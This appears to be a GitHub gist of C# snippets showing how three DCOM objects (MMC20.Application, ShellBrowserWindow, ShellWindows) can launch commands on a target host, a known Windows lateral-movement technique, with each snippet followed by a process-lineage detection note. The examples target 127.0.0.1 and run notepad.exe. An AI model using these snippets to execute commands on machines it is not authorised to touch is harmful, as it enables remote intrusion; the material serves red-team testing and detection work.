Skip to content

Instantly share code, notes, and snippets.

@benpturner
Last active July 21, 2023 13:07
Show Gist options
  • Save benpturner/1f2e3e7d7227b3a7e9740bba7a12fc2d to your computer and use it in GitHub Desktop.
Save benpturner/1f2e3e7d7227b3a7e9740bba7a12fc2d to your computer and use it in GitHub Desktop.
DCOM C#
# MMC (Tested Windows 7, Windows 10, Server 2012R2):
dynamic c = Activator.CreateInstance(Type.GetTypeFromProgID("MMC20.Application", "127.0.0.1"));
c.Document.ActiveView.ExecuteShellCommand(@"C:\Windows\System32\cmd.exe",null,"/c notepad.exe", "7");
## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> mmc.exe (process)
# ShellBrowserWindow (Tested Windows 10, Server 2012R2):
System.Type com = Type.GetTypeFromCLSID(Guid.Parse("C08AFD90-F2A1-11D1-8455-00A0C91F3880"), "127.0.0.1");
dynamic obj = System.Activator.CreateInstance(com);
obj.Document.Application.ShellExecute("notepad.exe","","c:\\windows",null,0);
## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> rundll32.exe Shell32,ShellExecute (process)
# ShellWindows (Tested Windows 7, Windows 10, Server 2012R2):
System.Type com = Type.GetTypeFromCLSID(Guid.Parse("9BA05972-F6A8-11CF-A442-00A0C90A8F39"), "127.0.0.1");
dynamic obj = System.Activator.CreateInstance(com);
obj.Item().Document.Application.ShellExecute("notepad.exe","","c:\\windows",null,0);
## Detection: svchost.exe -DCOMLaunch (parent cmdline) -> rundll32.exe Shell32,ShellExecute (process)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment